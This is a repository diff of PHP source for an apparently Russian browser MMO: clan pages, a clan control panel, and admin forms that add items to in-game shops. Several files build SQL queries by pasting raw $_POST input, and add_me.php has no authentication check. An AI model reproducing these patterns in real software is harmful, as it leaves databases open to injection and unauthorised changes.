$recrut = mysql_fetch_array(mysql_query('SELECT `id`, `recruits`, `short`, `name`, `descr`, `glava`, `vozm`, `align`, `mshadow`, `wshadow`, `homepage`, `rating`, `zbor`, `zamok`, `izamok`, `ifon` FROM `clans` WHERE `id` = "'.$clan['recruits'].'" LIMIT 1'));
}
function show_klan_members($pl) {
global $rooms;
$r = '';
$clan = mysql_fetch_array(mysql_query('SELECT `id`, `recruits`, `short`, `name`, `descr`, `glava`, `vozm`, `align`, `mshadow`, `wshadow`, `homepage`, `rating`, `zbor`, `zamok`, `izamok`, `ifon` FROM `clans` WHERE `id` = "'.$pl.'" LIMIT 1'));
if(isset($clan['id'])) {
$sp = mysql_query('SELECT `id`, `login`, `invis`, `align`, `level`, `status`, `room`, (SELECT `id` FROM `online` WHERE `date` >= "'.(time()-60).'" AND `id` = `users`.`id`) AS `online` FROM `users` WHERE `klan` = "'.$pl.'" ORDER BY `level` DESC');
while($us = mysql_fetch_array($sp)) {
if($us['online'] > 0 && $us['invis'] == 0) {
$r .= '<a href="javascript: top.AddToPrivate(\''.nick7($us['id']).'\', top.CtrlPress)" target="refreshed"><img src="../../i/lock.gif" width="20" height="15" /></a>';
} else {
$r .= '<font style=\'color: Grey;\'><img src="../../i/offline.gif" width="20" height="15" /></font>';
}
$r .= ' <img src=\'../../i/align_'.$us['align'].'.gif\' /> <img src=\'../../i/klan/'.ClanImage($pl).'.gif\' /> <b>'.$us['login'].'</b> ['.$us['level'].'] ';
$r .= '<a href=\'../../inf.php?id='.$us['id'].'\' target=\'_blank\'><img src=\'../../i/inf.gif\' /></a>';
$r .= $us['status']?" - ".$us['status']:" - Нет звания";
if($us['online'] > 0 && $us['invis'] == 0) {
$r .= ' - <i>'.$rooms[$us['room']].'</i>';
}
$r .= '<br />';
}
} else {
$r = 'Клан не найден ..';
}
return $r;
}
?>
<table>
<tbody>
<tr>
<td colspan="3" valign="top" align="center">
<center>
<h3>
<img src="../..//i/align_<?=$clan['align']?>.gif" /><img src="../../i/klan/<? echo ClanImage($clan['id']); ?>.gif" />
<b><?=$clan['short']; ?></b>
<br />
Клан-основа - <img src="../../i/align_<?=$clan['align']?>.gif" /><img src="../../i/klan/<? echo ClanImage($clan['id']); ?>.gif" />
<b><?=$clan['name']?></b>
<br />
<? if($clan['recruits'] > 0) { ?>
Клан-рекрут - <img src="../../i/align_<?=$recrut['align']?>.gif" /><img src="../../i/klan/<? echo ClanImage($recrut['id']); ?>.gif" />
<b><?=$recrut['name']?></b>
<? } ?>
</h3>
</center>
</td>
</tr>
<tr>
<td valign="top">
<fieldset>
<legend><b>Каналы чата: </b></legend>
<table border="0">
<tbody>
<tr align="left">
<td width="30">&nbsp;</td>
<td align="left">
<font color="#850404">
<b><a href="#" onclick="top.AddToPrivate('klan', top.CtrlPress)" target="refreshed"><img src="../../i/lock.gif" width="20" height="15" /></a> klan - <img src="../../i/klan/<? echo ClanImage($clan['id']); ?>.gif" /><?=$clan['name']; ?> <br /></b>
</font>
</td>
<td width="30">&nbsp;</td>
</tr>
<tr>
<td></td>
<td height="10"></td>
<td></td>
</tr>
</tbody>
</table>
</fieldset>
<fieldset>
<legend><b>Клановые реликты:</b></legend>
<table border="0">
<tbody>
<tr>
<td width="500" align="left">В разработке</td>
</tr>
</tbody>
</table>
</fieldset>
</td>
<td width="25">&nbsp;</td>
<td valign="top" align="center">
<fieldset>
<legend><b>Состав клана: </b></legend>
<table>
<tbody>
<tr>
<td align="left">
<h3>CapitalCity</h3>
<? echo show_klan_members($clan['id']); ?>
</td>
</tr>
</tbody>
</table>
</fieldset>
</td>
</tr>
</tbody>
</table>

105
__modules/clan_panel.php Normal file
View File

@ -0,0 +1,105 @@
<?
session_start();
if(!isset($_SESSION['uid'])) { header('Location: ../index.php'); exit(); }
include('../config.php');
include('../functions.php');
$user ='';
if($user['klan'] == '') { header('Location: ../main.php'); exit(); }
if(!isset($_SESSION['razdel_panel'])) { $_SESSION['razdel_panel'] = 'main'; }
if($_GET['razdel']) {
switch ($_GET['razdel']) {
case "main": $_SESSION['razdel_panel'] = 'main'; break;
case "kazna": $_SESSION['razdel_panel'] = 'kazna'; break;
case "arsenal": $_SESSION['razdel_panel'] = 'arsenal'; break;
case "wars": $_SESSION['razdel_panel'] = 'wars'; break;
case "message": $_SESSION['razdel_panel'] = 'message'; break;
case "castle": $_SESSION['razdel_panel'] = 'castle'; break;
case "maintains": $_SESSION['razdel_panel'] = 'maintains'; break;
default: $_SESSION['razdel_panel'] = 'razdel_panel'; break;
}
}
?>
<html>
<head>
<title>404</title>
<link rel="stylesheet" type="text/css" href="../css/main.css" />
<script src="../js/jquery-1.7.2.min.js"></script>
<script src="../js/jquery.simplemodal.js"></script>
<script src="../js/jquery.ui.js?100"></script>
<script src="../js/mi.js"></script>
<link rel="stylesheet" href="../css/bkstyle.css?101" />
<link rel="stylesheet" href="../css/mi.css" />
<style>
.m { background: #99CCCC; text-align: center; }
.s { background: #BBDDDD; text-align: center; }
.s2 { background: #C0D6D4; text-align: center; }
a.menu { font-weight: bold; font-size: 8pt; color:#959595; text-decoration: none; text-align: center; }
a.menu2 { font-weight: bold; font-size: 8pt; color: #8F0000; text-decoration: none; text-align: center; }
a.menu:hover { font-weight:bold; font-size: 8pt; color: #8F0000; text-decoration: none; text-align: center; }
.menu22 { font-weight: bold; font-size: 8pt; color: #003388; text-decoration: none; text-align: center; }
.menu221 { background-color: #A5A5A5; text-align: center; }
.menu222 { font-weight: bold; font-size: 8pt; color: #000000; text-decoration: none; }
.body {margin: 5px; background: #D7D7D7}
</style>
</head>
<body>
<table width="100%">
<tbody>
<tr>
<td align="right">
<input type="button" onclick="location.href='../main.php';" value="Вернуться" />
</td>
</tr>
<tr>
<td width="100%" valign="top" align="center">
<table border="0" width="956">
<tbody>
<tr>
<td width="956" style="background-image: url(../i/clan_panel/menu_bg33.jpg); background-repeat: no-repeat">
<table border="0" cellpadding="4" cellspacing="3">
<tbody>
<tr height="38">
<td width="15">&nbsp;</td>
<td align="center" width="127" valign="top"><a class="menu<? if($_SESSION['razdel_panel'] == 'main') { echo "2"; }?>" href="?razdel=main">Главная</a></td>
<td align="center" width="127" valign="top"><a class="menu<? if($_SESSION['razdel_panel'] == 'kazna') { echo "2"; }?>" href="?razdel=kazna">Казна</a></td>
<!-- <td align="center" width="140" valign="top"><a class="menu<? if($_SESSION['razdel_panel'] == 'arsenal') { echo "2"; }?>" href="klan_arsenal.php">Арсенал</a></td> -->
<td align="center" width="143" valign="top"><a class="menu<? if($_SESSION['razdel_panel'] == 'wars') { echo "2"; }?>" href="?razdel=wars">Войны и враги</a></td>
<td align="center" width="140" valign="top"><a class="menu<? if($_SESSION['razdel_panel'] == 'message') { echo "2"; }?>" href="?razdel=message">Сообщения</a></td>
<!-- <td align="center" width="132" valign="top"><a class="menu<? if($_SESSION['razdel_panel'] == 'castle') { echo "2"; }?>" href="klan_castles.php">Замки</a></td> -->
<td align="center" width="122" valign="top"><a class="menu<? if($_SESSION['razdel_panel'] == 'maintains') { echo "2"; }?>" href="?razdel=maintains">Управление</a></td>
<td width="5">&nbsp;</td>
</tr>
</tbody>
</table>
</td>
</tr>
</tbody>
</table>
<table border="0" width="1100">
<tbody>
<tr>
<td>
<table width="100%" border="0">
<tbody>
<tr>
<td align="center">
<? include('clan_modules/'.$_SESSION['razdel_panel'].'.php'); ?>
</td>
</tr>
</tbody>
</table>
</td>
</tr>
</tbody>
</table>
</td>
</tr>
</tbody>
</table>
</body>
</html>

193
add_me.php Normal file
View File

@ -0,0 +1,193 @@
<?
include('config.php');
if($_POST['name']) {
$goden_tmp=$_POST['goden'];
if ($_POST['shop']==1) if (mysql_query("insert into shop(name,duration,maxdur,cost,ecost,nlevel,nsila,nlovk,ninta,nvinos,nintel,nmudra,nnoj,ntopor,ndubina,nmech,nalign,minu,maxu,goden,gsila,glovk,ginta,gintel,ghp,mfkrit,mfakrit,mfuvorot,mfauvorot,gnoj,gtopor,gdubina,gmech,img,count,bron1,bron2,bron3,bron4,magic,type,massa,needident,nfire,nwater,nair,nearth,nlight,ngray,ndark,gfire,gwater,gair,gearth,glight,ggray,gdark,encicl,artefact,letter,isrep,razdel) values ('".$_POST['name']."','".$_POST['duration']."','".$_POST['maxdur']."','".$_POST['cost']."','".$_POST['ecost']."','".$_POST['nlevel']."','".$_POST['nsila']."','".$_POST['nlovk']."','".$_POST['ninta']."','".$_POST['nvinos']."','".$_POST['nintel']."','".$_POST['nmudra']."','".$_POST['nnoj']."','".$_POST['ntopor']."','".$_POST['ndubina']."','".$_POST['nmech']."','".$_POST['nalign']."','".$_POST['minu']."','".$_POST['maxu']."','".$goden_tmp."','".$_POST['gsila']."','".$_POST['glovk']."','".$_POST['ginta']."','".$_POST['gintel']."','".$_POST['ghp']."','".$_POST['mfkrit']."','".$_POST['mfakrit']."','".$_POST['mfuvorot']."','".$_POST['mfauvorot']."','".$_POST['gnoj']."','".$_POST['gtopor']."','".$_POST['gdubina']."','".$_POST['gmech']."','".$_POST['img']."','".$_POST['count']."','".$_POST['bron1']."','".$_POST['bron2']."','".$_POST['bron3']."','".$_POST['bron4']."','".$_POST['magic']."','".$_POST['type']."','".$_POST['massa']."','".$_POST['needident']."','".$_POST['nfire']."','".$_POST['nwater']."','".$_POST['nair']."','".$_POST['nearth']."','".$_POST['nlight']."','".$_POST['ngray']."','".$_POST['ndark']."','".$_POST['gfire']."','".$_POST['gwater']."','".$_POST['gair']."','".$_POST['gearth']."','".$_POST['glight']."','".$_POST['ggray']."','".$_POST['gdark']."','".$_POST['encicl']."','0','".$_POST['letter']."','".$_POST['isrep']."','".$_POST['razdel']."');"))
{
echo "Предмет '$_POST[name]' успешно добавлен";
}
else
{ echo "Предмет не был добавлен!-1";
};
if ($_POST['shop']==2) if (mysql_query("insert into fshop(name,duration,maxdur,cost,ecost,nlevel,nsila,nlovk,ninta,nvinos,nintel,nmudra,nnoj,ntopor,ndubina,nmech,nalign,minu,maxu,goden,gsila,glovk,ginta,gintel,ghp,mfkrit,mfakrit,mfuvorot,mfauvorot,gnoj,gtopor,gdubina,gmech,img,count,bron1,bron2,bron3,bron4,magic,type,massa,needident,nfire,nwater,nair,nearth,nlight,ngray,ndark,gfire,gwater,gair,gearth,glight,ggray,gdark,letter,isrep,razdel) values ('".$_POST['name']."','".$_POST['duration']."','".$_POST['maxdur']."','".$_POST['cost']."','".$_POST['ecost']."','".$_POST['nlevel']."','".$_POST['nsila']."','".$_POST['nlovk']."','".$_POST['ninta']."','".$_POST['nvinos']."','".$_POST['nintel']."','".$_POST['nmudra']."','".$_POST['nnoj']."','".$_POST['ntopor']."','".$_POST['ndubina']."','".$_POST['nmech']."','".$_POST['nalign']."','".$_POST['minu']."','".$_POST['maxu']."','".$goden_tmp."','".$_POST['gsila']."','".$_POST['glovk']."','".$_POST['ginta']."','".$_POST['gintel']."','".$_POST['ghp']."','".$_POST['mfkrit']."','".$_POST['mfakrit']."','".$_POST['mfuvorot']."','".$_POST['mfauvorot']."','".$_POST['gnoj']."','".$_POST['gtopor']."','".$_POST['gdubina']."','".$_POST['gmech']."','".$_POST['img']."','".$_POST['count']."','".$_POST['bron1']."','".$_POST['bron2']."','".$_POST['bron3']."','".$_POST['bron4']."','".$_POST['magic']."','".$_POST['type']."','".$_POST['massa']."','".$_POST['needident']."','".$_POST['nfire']."','".$_POST['nwater']."','".$_POST['nair']."','".$_POST['nearth']."','".$_POST['nlight']."','".$_POST['ngray']."','".$_POST['ndark']."','".$_POST['gfire']."','".$_POST['gwater']."','".$_POST['gair']."','".$_POST['gearth']."','".$_POST['glight']."','".$_POST['ggray']."','".$_POST['gdark']."','".$_POST['letter']."','".$_POST['isrep']."','".$_POST['razdel']."');"))
{
echo "Предмет '$_POST[name]' успешно добавлен";
}
else
{ echo "Предмет не был добавлен!".mysql_error();
};
if ($_POST['shop']==3) if (mysql_query("insert into ashop(name,duration,maxdur,cost,ecost,nlevel,nsila,nlovk,ninta,nvinos,nintel,nmudra,nnoj,ntopor,ndubina,nmech,nalign,minu,maxu,goden,gsila,glovk,ginta,gintel,ghp,mfkrit,mfakrit,mfuvorot,mfauvorot,gnoj,gtopor,gdubina,gmech,img,count,bron1,bron2,bron3,bron4,magic,type,massa,needident,nfire,nwater,nair,nearth,nlight,ngray,ndark,gfire,gwater,gair,gearth,glight,ggray,gdark,encicl,artefact,letter,isrep,razdel) values ('".$_POST['name']."','".$_POST['duration']."','".$_POST['maxdur']."','".$_POST['cost']."','".$_POST['ecost']."','".$_POST['nlevel']."','".$_POST['nsila']."','".$_POST['nlovk']."','".$_POST['ninta']."','".$_POST['nvinos']."','".$_POST['nintel']."','".$_POST['nmudra']."','".$_POST['nnoj']."','".$_POST['ntopor']."','".$_POST['ndubina']."','".$_POST['nmech']."','".$_POST['nalign']."','".$_POST['minu']."','".$_POST['maxu']."','".$goden_tmp."','".$_POST['gsila']."','".$_POST['glovk']."','".$_POST['ginta']."','".$_POST['gintel']."','".$_POST['ghp']."','".$_POST['mfkrit']."','".$_POST['mfakrit']."','".$_POST['mfuvorot']."','".$_POST['mfauvorot']."','".$_POST['gnoj']."','".$_POST['gtopor']."','".$_POST['gdubina']."','".$_POST['gmech']."','".$_POST['img']."','".$_POST['count']."','".$_POST['bron1']."','".$_POST['bron2']."','".$_POST['bron3']."','".$_POST['bron4']."','".$_POST['magic']."','".$_POST['type']."','".$_POST['massa']."','".$_POST['needident']."','".$_POST['nfire']."','".$_POST['nwater']."','".$_POST['nair']."','".$_POST['nearth']."','".$_POST['nlight']."','".$_POST['ngray']."','".$_POST['ndark']."','".$_POST['gfire']."','".$_POST['gwater']."','".$_POST['gair']."','".$_POST['gearth']."','".$_POST['glight']."','".$_POST['ggray']."','".$_POST['gdark']."','".$_POST['encicl']."','1','".$_POST['letter']."','".$_POST['isrep']."','".$_POST['razdel']."');"))
{
echo "Предмет '$_POST[name]' успешно добавлен";
}
else
{ echo "Предмет не был добавлен!".mysql_error();
};
}
?>
<html>
<head>
<title>404</title>
<script src="js/jquery-1.7.2.min.js"></script>
<script>
window.onload = function() {
for(var i = 0, l = document.getElementsByTagName('input').length; i < l; i++) {
if(document.getElementsByTagName('input').item(i).type == 'text') {
document.getElementsByTagName('input').item(i).setAttribute('autocomplete', 'off');
};
};
}
$(function() {
$("#nbrons").keyup(function() {
var val = $("#nbrons").val();
$('#bron1').val(val);
$('#bron2').val(val);
$('#bron3').val(val);
$('#bron4').val(val);
});
});
</script>
</head>
<body>
<form method=post>
<table>
<tr><td>Название </td><td><input type=text name=name value=''> </td></tr>
<tr><td>Картинка </td><td><input type=text name=img value=''> </td></tr>
<tr><td>Магазин
</td><td><select name="shop">
<option value="1" selected="selected">Обычный</option>
<option value="2">Цветной</option>
<option value="3">Артефактный</option>
</select> </td></tr>
<tr><td>Количество (шт.) </td><td><input type=text name=count value="999999"></td></tr>
<tr><td>Тип предмета
</td><td><select name="type">
<option value="3">Оружие</option>
<option value="11">Сапоги</option>
<option value="9">Перчатки</option>
<option value="22">Лёгкая броня</option>
<option value="4">Броня</option>
<option value="8">Шлемы</option>
<option value="10">Щиты</option>
<option value="1">Серьги</option>
<option value="2" selected="selected">Ожерелья</option>
<option value="5">Кольца</option>
<option value="12">Заклинания</option>
</select> </td></tr>
<tr><td>Масса </td><td><input type=text name=massa value="2"> </td></tr>
<!--
<tr><td>Нужно идентифицировать </td><td><input type=text name=needident value="0"></td></tr>
<tr><td>Кол-во знаков </td><td><input type=text name=letter value="0"> </td></tr>
-->
<tr><td>Подлежит ремонту </td><td><input type=text name=isrep value="1"> </td></tr>
<!--
<tr><td>Годен (дней)</td><td><input type=text name=goden value="0"> </td></tr>
-->
<tr><td>Раздел магазина
</td><td><select name="razdel">
<option value="1">Оружие - Кастеты, ножи</option>
<option value="11">Оружие - Топоры</option>
<option value="12">Оружие - Дубины, Булавы</option>
<option value="13">Оружие - Мечи</option>
<option disabled="disabled">--------------------</option>
<option value="2">Одежда - Сапоги</option>
<option value="21">Одежда - Перчатки</option>
<option value="22">Одежда - Броня: легкая</option>
<option value="23">Одежда - Броня: тяжелая</option>
<option value="24">Одежда - Шлемы</option>
<option value="3">Щиты</option>
<option disabled="disabled">--------------------</option>
<option value="4">Ювелирные товары - Серьги</option>
<option value="41" selected="selected">Ювелирные товары - Ожерелья</option>
<option value="42">Ювелирные товары - Кольца</option>
<option disabled="disabled">--------------------</option>
<option value="5">Заклинания - Нейтральные</option>
<option value="51">Заклинания - Боевые, Защитные</option>
<option value="6">Аммуниция</option>
<option disabled="disabled">--------------------</option>
<option value="7">Артефакты: Букеты</option>
</select> </td></tr>
<!--
<tr><td>Мин. износ </td><td><input type=text name=duration value="0"></td></tr>
-->
<tr><td>Макс. износ </td><td><input type=text name=maxdur value="80"></td></tr>
<tr><td>Цена (кр.) </td><td><input type=text name=cost value="253"></td></tr>
<!--
<tr><td>Цена (Е-кр.) </td><td><input type=text name=ecost value="0"></td></tr>
-->
</table>
<b>Требования</b>
<table>
<tr><td>Уровень </td><td><input id="nlevel" type=text name=nlevel value="13" /></td></tr>
<tr><td>Сила </td><td><input type=text name=nsila value="0"></td></tr>
<tr><td>Ловкость </td><td><input type=text name=nlovk value="0"></td></tr>
<tr><td>Интуиция </td><td><input type=text name=ninta value="0"></td></tr>
<tr><td>Вынос </td><td><input type=text name=nvinos value="0"></td></tr>
<!--
<tr><td>Интеллект </td><td><input type=text name=nintel value="0"> </td></tr>
<tr><td>Ум.ножи </td><td><input type=text name=nnoj value="0"></td></tr>
<tr><td>Ум.топоры </td><td><input type=text name=ntopor value="0"></td></tr>
<tr><td>Ум.дубины </td><td><input type=text name=ndubina value="0"></td></tr>
<tr><td>Ум.мечи </td><td><input type=text name=nmech value="0"></td></tr>
-->
<tr><td>Склонность </td><td><input type=text name=nalign value="0"></td></tr>
<!--
<tr><td>Мастерство огня </td><td><input type=text name=nfire value="0"></td></tr>
<tr><td>Мастерство воды </td><td><input type=text name=nwater value="0"></td></tr>
<tr><td>Мастерство воздуха </td><td><input type=text name=nair value="0"></td></tr>
<tr><td>Мастерство земли </td><td><input type=text name=nearth value="0"> </td></tr>
<tr><td>Светлая магия </td><td><input type=text name=nlight value="0"></td></tr>
<tr><td>Серая магия </td><td><input type=text name=ngray value="0"></td></tr>
<tr><td>Темная магия </td><td><input type=text name=ndark value="0"></td></tr>
-->
</table>
<b>Характеристики</b>
<table>
<!--
<tr><td>Мин.урон </td><td><input type=text name=minu value="0"></td></tr>
<tr><td>Макс.урон </td><td><input type=text name=maxu value="0"></td></tr>
-->
<tr><td>Сила </td><td><input type=text name=gsila value="0"></td></tr>
<tr><td>Ловкость </td><td><input type=text name=glovk value="0"></td></tr>
<tr><td>Интуиция </td><td><input type=text name=ginta value="0"></td></tr>
<tr><td>Интеллект </td><td><input type=text name=gintel value="0"></td></tr>
<tr><td>НР </td><td><input type=text name=ghp value="0"></td></tr>
<tr><td>Мф.крит </td><td><input type=text name=mfkrit value="0"></td></tr>
<tr><td>Мф.антикрит </td><td><input type=text name=mfakrit value="0"></td></tr>
<tr><td>Мф.уворот </td><td><input type=text name=mfuvorot value="0"></td></tr>
<tr><td>Мф.антиуворот </td><td><input type=text name=mfauvorot value="0"></td></tr>
<tr><td><b>Всем брони</b></td><td><input id="nbrons" value="0" /></td></tr>
<tr><td>Ум.ножи </td><td><input type=text name=gnoj value="0"></td></tr>
<tr><td>Ум.топоры </td><td><input type=text name=gtopor value="0"></td></tr>
<tr><td>Ум.дубины </td><td><input type=text name=gdubina value="0"></td></tr>
<tr><td>Ум.мечи </td><td><input type=text name=gmech value="0"></td></tr>
<tr><td>Броня головы </td><td><input id="bron1" type=text name=bron1 value="0"></td></tr>
<tr><td>Броня корпуса </td><td><input id="bron2" type=text name=bron2 value="0"></td></tr>
<tr><td>Броня пояса</td><td><input id="bron3" type=text name=bron3 value="0"></td></tr>
<tr><td>Броня ног </td><td><input id="bron4" type=text name=bron4 value="0"></td></tr>
<!--
<tr><td>Мастерство огня </td><td><input type=text name=gfire value="0"></td></tr>
<tr><td>Мастерство воды </td><td><input type=text name=gwater value="0"></td></tr>
<tr><td>Мастерство воздуха </td><td><input type=text name=gair value="0"></td></tr>
<tr><td>Мастерство земли </td><td><input type=text name=gearth value="0"></td></tr>
<tr><td>Светлая магия </td><td><input type=text name=glight value="0"></td></tr>
<tr><td>Серая магия </td><td><input type=text name=ggray value="0"></td></tr>
<tr><td>Темная магия </td><td><input type=text name=gdark value="0"></td></tr>
<tr><td>В энциклопедию </td><td><input type=text name=encicl value=''> </td></tr>
<tr><td>Наложенно заклятие </td><td><input type=text name=magic value=""></td></tr>
-->
</table>
<INPUT TYPE="submit" value="Добавить">
</form>
</body>
</html>

126
add_novyj_shmot.php Normal file
View File

@ -0,0 +1,126 @@
<?php
session_start();
if ($_SESSION['uid'] == null) header("Location: index.php");
include "config.php";
$user = mysql_fetch_array(mysql_query("SELECT * FROM `users` WHERE `id` = '{$_SESSION['uid']}' LIMIT 1;"));
if ($user['admin']=="1") {
?>
DO NOT USE - NOT TESTED. INS.
<form method=post action="add_novyj_shmot.php">
<b>Вещи</b>
<table>
<tr><td>Название </td><td><input type=text name=name value=''> </td></tr>
<tr><td>Картинка </td><td><input type=text name=img value=''> </td></tr>
<tr><td>Количество в магазине </td><td><input type=text name=count value='0'></td></tr>
<tr><td>Тип предмета </td>
<td><select name='type'>
<option value='0'></option>
<option value='3'>Оружие</option>
<option value='11'>сапоги</option>
<option value='9'>перчатки</option>
<option value='4'>Броня</option>
<option value='8'>шлемы</option>
<option value='10'>Щиты</option>
<option value='1'>серьги</option>
<option value='2'>ожерелья</option>
<option value='5'>кольца</option>
<option value='12'>Заклинания</option>
</select></td></tr>
<tr><td>Масса </td><td><input type=text name=massa value='0'> </td></tr>
<tr><td>Нужна идентификация </td><td><input type=text name=needident value='0'></td></tr>
<tr><td>Количество знаков </td><td><input type=text name=letter value='0'> </td></tr>
<tr><td>Может чиниться </td><td><input type=text name=isrep value='1'> </td></tr>
<tr><td>Раздел магазина </td>
<td><select name='razdel'>
<option value='0'></option>
<option value='1'>Оружие: кастеты,ножи</option>
<option value='11'>Оружие: топоры</option>
<option value='12'>Оружие: дубины,булавы</option>
<option value='13'>Оружие: мечи</option>
<option value='2'>Одежда: сапоги</option>
<option value='21'>Одежда: перчатки</option>
<option value='22'>&Одежда: легкая броня</option>
<option value='23'>Одежда: тяжелая броня</option>
<option value='24'>Одежда: шлемы</option>
<option value='3'>Щиты</option>
<option value='4'>Ювелирные товары: серьги</option>
<option value='41'>Ювелирные товары: ожерелья</option>
<option value='42'>Ювелирные товары: кольца</option>
<option value='5'>Заклинания: нейтральные</option>
<option value='51'>3аклинания: боевые и защитные</option>
<option value='6'>Амуниция</option>
</select></td></tr>
<tr><td>Мин.износ </td><td><input type=text name=duration value='0'></td></tr>
<tr><td>Макс.износ </td><td><input type=text name=maxdur value='0'></td></tr>
<tr><td>Цена </td><td><input type=text name=cost value='0'></td></tr>
</table>
<b>Требования:</b>
<table>
<tr><td>Уровень </td><td><input type=text name=nlevel value='0'></td></tr>
<tr><td>Сила </td><td><input type=text name=nsila value='0'></td></tr>
<tr><td>Ловкость </td><td><input type=text name=nlovk value='0'></td></tr>
<tr><td>Интуиция </td><td><input type=text name=ninta value='0'></td></tr>
<tr><td>Вынос </td><td><input type=text name=nvinos value='0'></td></tr>
<tr><td>Интеллект </td><td><input type=text name=nintel value='0'> </td></tr>
<tr><td>Мудрость </td><td><input type=text name=nmudra value='0'></td></tr>
<tr><td>Ум.ножи </td><td><input type=text name=nnoj value='0'></td></tr>
<tr><td>Ум.топоры </td><td><input type=text name=ntopor value='0'></td></tr>
<tr><td>Ум.дубины </td><td><input type=text name=ndubina value='0'></td></tr>
<tr><td>Ум.мечи </td><td><input type=text name=nmech value='0'></td></tr>
<tr><td>Склонность </td><td><input type=text name=nalign value='0'></td></tr>
<tr><td>Мастерство огня </td><td><input type=text name=nfire value='0'></td></tr>
<tr><td>Мастерство воды </td><td><input type=text name=nwater value='0'></td></tr>
<tr><td>Мастерство воздуха </td><td><input type=text name=nair value='0'></td></tr>
<tr><td>Мастерство земли </td><td><input type=text name=nearth value='0'> </td></tr>
<tr><td>Светлая магия </td><td><input type=text name=nlight value='0'></td></tr>
<tr><td>Серая магия </td><td><input type=text name=ngray value='0'></td></tr>
<tr><td>Темная магия </td><td><input type=text name=ndark value='0'></td></tr>
</table>
<b>Дает Параметры</b>
<table>
<tr><td>Мин.урон </td><td><input type=text name=minu value='0'></td></tr>
<tr><td>Макс.урон </td><td><input type=text name=maxu value='0'></td></tr>
<tr><td>Сила </td><td><input type=text name=gsila value='0'></td></tr>
<tr><td>Ловкость </td><td><input type=text name=glovk value='0'></td></tr>
<tr><td>Инуиция </td><td><input type=text name=ginta value='0'></td></tr>
<tr><td>Интеллект </td><td><input type=text name=gintel value='0'></td></tr>
<tr><td>НР </td><td><input type=text name=ghp value='0'></td></tr>
<tr><td>Мф.крит </td><td><input type=text name=mfkrit value='0'></td></tr>
<tr><td>Мф.антикрит </td><td><input type=text name=mfakrit value='0'></td></tr>
<tr><td>Мф.уворот </td><td><input type=text name=mfuvorot value='0'></td></tr>
<tr><td>Мф.антиуворот </td><td><input type=text name=mfauvorot value='0'></td></tr>
<tr><td>Ум.ножи </td><td><input type=text name=gnoj value='0'></td></tr>
<tr><td>Ум.топоры </td><td><input type=text name=gtopor value='0'></td></tr>
<tr><td>Ум.дубины </td><td><input type=text name=gdubina value='0'></td></tr>
<tr><td>Ум.мечи </td><td><input type=text name=gmech value='0'></td></tr>
<tr><td>Броня головы </td><td><input type=text name=bron1 value='0'></td></tr>
<tr><td>Броня корпуса </td><td><input type=text name=bron2 value='0'></td></tr>
<tr><td>Броня пояса </td><td><input type=text name=bron3 value='0'></td></tr>
<tr><td>Броня ног </td><td><input type=text name=bron4 value='0'></td></tr>
<tr><td>Мастерство огня </td><td><input type=text name=gfire value='0'></td></tr>
<tr><td>Мастерство воды </td><td><input type=text name=gwater value='0'></td></tr>
<tr><td>Мастерство воздуха </td><td><input type=text name=gair value='0'></td></tr>
<tr><td>Мастерство земли </td><td><input type=text name=gearth value='0'></td></tr>
<tr><td>Светлая магия </td><td><input type=text name=glight value='0'></td></tr>
<tr><td>Серая магия </td><td><input type=text name=ggray value='0'></td></tr>
<tr><td>Темная магия </td><td><input type=text name=gdark value='0'></td></tr>
<tr><td>В энциклопедию </td><td><input type=text name=encicl value=''> </td></tr>
<tr><td>Артефакт </td><td><input type=text name=artefact value='0'></td></tr>
<tr><td>Наложенно заклятие </td><td><input type=text name=magic value=''></td></tr>
</table>
<input type=submit value=' Добавить вещь '>
</form>
<?
if ($_POST['name']) {
if (mysql_query("insert into shop (name,duration,maxdur,cost,nlevel,nsila,nlovk,ninta,nvinos,nintel,nmudra,nnoj,ntopor,ndubina,nmech,nalign,minu,maxu,gsila,glovk,ginta,gintel,ghp,mfkrit,mfakrit,mfuvorot,mfauvorot,gnoj,gtopor,gdubina,gmech,img,count,bron1,bron2,bron3,bron4,magic,type,massa,needident,nfire,nwater,nair,nearth,nlight,ngray,ndark,gfire,gwater,gair,gearth,glight,ggray,gdark,encicl,artefact,letter,isrep,razdel) values ('".$_POST['name']."','".$_POST['duration']."','".$_POST['maxdur']."','".$_POST['cost']."','".$_POST['nlevel']."','".$_POST['nsila']."','".$_POST['nlovk']."','".$_POST['ninta']."','".$_POST['nvinos']."','".$_POST['nintel']."','".$_POST['nmudra']."','".$_POST['nnoj']."','".$_POST['ntopor']."','".$_POST['ndubina']."','".$_POST['nmech']."','".$_POST['nalign']."','".$_POST['minu']."','".$_POST['maxu']."','".$_POST['gsila']."','".$_POST['glovk']."','".$_POST['ginta']."','".$_POST['gintel']."','".$_POST['ghp']."','".$_POST['mfkrit']."','".$_POST['mfakrit']."','".$_POST['mfuvorot']."','".$_POST['mfauvorot']."','".$_POST['gnoj']."','".$_POST['gtopor']."','".$_POST['gdubina']."','".$_POST['gmech']."','".$_POST['img']."','".$_POST['count']."','".$_POST['bron1']."','".$_POST['bron2']."','".$_POST['bron3']."','".$_POST['bron4']."','".$_POST['magic']."','".$_POST['type']."','".$_POST['massa']."','".$_POST['needident']."','".$_POST['nfire']."','".$_POST['nwater']."','".$_POST['nair']."','".$_POST['nearth']."','".$_POST['nlight']."','".$_POST['ngray']."','".$_POST['ndark']."','".$_POST['gfire']."','".$_POST['gwater']."','".$_POST['gair']."','".$_POST['gearth']."','".$_POST['glight']."','".$_POST['ggray']."','".$_POST['gdark']."','".$_POST['encicl']."','".$_POST['artefact']."','".$_POST['letter']."','".$_POST['isrep']."','".$_POST['razdel']."');"))
{
echo "OK";
}
else { echo "NO"; }
}
}
?>

1009
admin.php Normal file

File diff suppressed because it is too large Load Diff

279
ahero_shop.php Normal file
View File

@ -0,0 +1,279 @@
<?php
session_start();
if (!($_SESSION['uid'] >0)) header("Location: index.php");
include "config.php";
$user = mysql_fetch_array(mysql_query("SELECT * FROM `users` WHERE `id` = '{$_SESSION['uid']}' LIMIT 1;"));
include "functions.php";
$d = mysql_fetch_array(mysql_query("SELECT sum(`massa`) FROM `inventory` WHERE `owner` = '{$user['id']}' AND `dressed` = 0 AND `setsale` = 0 ; "));
if ($user['room'] != 22) { header("Location: main.php"); die(); }
if ($user['battle'] != 0) { header('location: fbattle.php'); die(); }
if (($_GET['set'] OR $_POST['set'])) {
if ($_GET['set']) { $set = $_GET['set']; }
if ($_POST['set']) { $set = $_POST['set']; }
if(!$_POST['count']) $_POST['count']=1;
if(!is_numeric($_POST['count']) || $_POST['count']!=((int)$_POST['count']))
{
$_POST['count']=0;
$count_ok=0;
}
